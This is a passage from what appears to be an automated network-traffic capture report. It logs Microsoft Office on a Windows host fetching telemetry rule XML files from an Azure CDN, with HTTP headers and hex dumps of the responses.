(min-width:1000px){.blade-card-carousel-wrapper{background-size:cover}}.blade-card-carousel-wrapper .slide{margin:24px!important}@media (min-width:750px) and (max-width:1001px
2024-10-16 15:56:46 UTC	1369	IN	Data Raw: 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 66 6c 65 78 2d 77 72 61 70 3a 6e 6f 77 72 61 70 3b 6f 72 64 65 72 3a 31 7d 2e 62 6c 61 64 65 2d 66 75 6c 6c 2d 77 69 64 74 68 2d 68 65 72 6f 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 2d 77 72 61 70 70 65 72 20 2e 66 65 61 74 75 72 65 73 2d 77 72 61 70 70 65 72 3e 64 69 76 7b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 34 38 70 78 7d 2e 62 6c 61 64 65 2d 66 75 6c 6c 2d 77 69 64 74 68 2d 68 65 72 6f 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 2d 77 72 61 70 70 65 72 20 2e 66 65 61 74 75 72 65 73 2d 69 6d 61 67 65 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 2d 72 Data Ascii: ex-direction:column;flex-wrap:nowrap;order:1}.blade-full-width-hero-background-image-wrapper .features-wrapper>div{max-width:none;padding-top:48px}.blade-full-width-hero-background-image-wrapper .features-image-wrapper{display:flex;flex-direction:column-r
2024-10-16 15:56:46 UTC	1369	IN	Data Raw: 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 2e 74 61 62 2d 61 72 72 6f 77 7b 63 6f 6c 6f 72 3a 23 66 36 33 3b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 68 65 72 6f 2d 73 65 63 74 69 6f 6e 2d 74 6f 70 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 36 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 34 30 30 70 78 7d 2e 68 65 72 6f 2d 73 65 63 74 69 6f 6e 2d 74 6f 70 20 2e 72 6f 77 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 30 30 70 78 7d 2e 68 65 72 6f 2d 6d 65 64 69 61 7b 68 65 69 67 68 74 3a 33 30 38 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 68 65 72 6f 2d 6d 65 64 69 61 20 69 6d 67 2c 2e 68 65 72 6f 2d 6d 65 64 69 61 20 76 69 64 65 6f 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 Data Ascii: 16px;font-weight:600}.tab-arrow{color:#f63;float:left}.hero-section-top{margin-bottom:60px;min-height:400px}.hero-section-top .row{max-height:400px}.hero-media{height:308px;overflow:hidden;position:relative}.hero-media img,.hero-media video{height:100%;wi
2024-10-16 15:56:46 UTC	1369	IN	Data Raw: 2e 6c 68 2d 63 6f 70 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 69 74 69 61 6c 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 66 36 33 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 32 34 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 30 30 70 78 29 7b 2e 68 65 72 6f 2d 70 72 6f 6d 6f 74 69 6f 6e 61 6c 2d 62 61 6e 6e 65 72 2d 77 72 61 70 70 65 72 20 2e 6c 65 61 72 6e 2d 6d 6f 72 65 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 34 70 78 7d 7d 2e 68 65 72 6f 2d 70 72 6f 6d 6f 74 69 6f 6e 61 6c 2d 62 61 6e 6e 65 72 2d 77 72 61 70 70 65 Data Ascii: .lh-copy{background-color:initial!important;color:#f63!important;font-weight:500!important;margin-right:24px;padding-right:0!important}@media (min-width:1000px){.hero-promotional-banner-wrapper .learn-more{margin-left:24px}}.hero-promotional-banner-wrappe

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:46 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:46 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:46 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: a14e0622-f01e-003f-07d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155646Z-16b659b44999c8xwz4dbqvgykc00000009dg000000008y0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:46 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:46 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:46 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:46 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: f8617515-201e-0071-0ed8-1eff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155646Z-15b8d89586fwzdd8ab09pbrekn000000021000000000m48w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:46 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:46 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:46 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:46 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 619f2964-b01e-005c-1cd8-1e4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155646Z-16b659b4499mk7vv3349cr2qug00000009q000000000kwyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:46 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:46 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:46 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 9909a593-401e-0029-54d8-1e9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155646Z-16b659b4499bnwsctrq8dt6ghw000000074g000000001anc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:46 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:46 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:46 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:46 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 746ae867-101e-00a2-15d8-1e9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155646Z-16b659b4499mcktpfn1m4deuag00000006cg00000000rr0y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:46 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:47 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:47 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:47 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: a14e0af2-f01e-003f-22d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155647Z-16b659b4499w2mwkzdhtwtt78c000000094g000000008kgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:47 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:47 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:47 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:47 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 407712ee-701e-0021-3ed8-1e3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155647Z-r197bdfb6b49k6rshrw4zhxpu000000008c000000000ku2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:47 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:47 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:47 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:47 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: caad473b-c01e-0034-52d8-1e2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155647Z-16b659b4499rzdzwehs0w9w5d800000007tg00000000qr0f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:47 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:47 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:47 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 52eece22-901e-0029-4cd8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155647Z-15b8d89586ff5l62quxsfe8ugg000000026g0000000090d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:47 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:47 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:47 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:47 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 057c9cd8-201e-0096-5dd8-1eace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155647Z-16b659b4499xhcppz4ucy307n4000000065g00000000v93u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
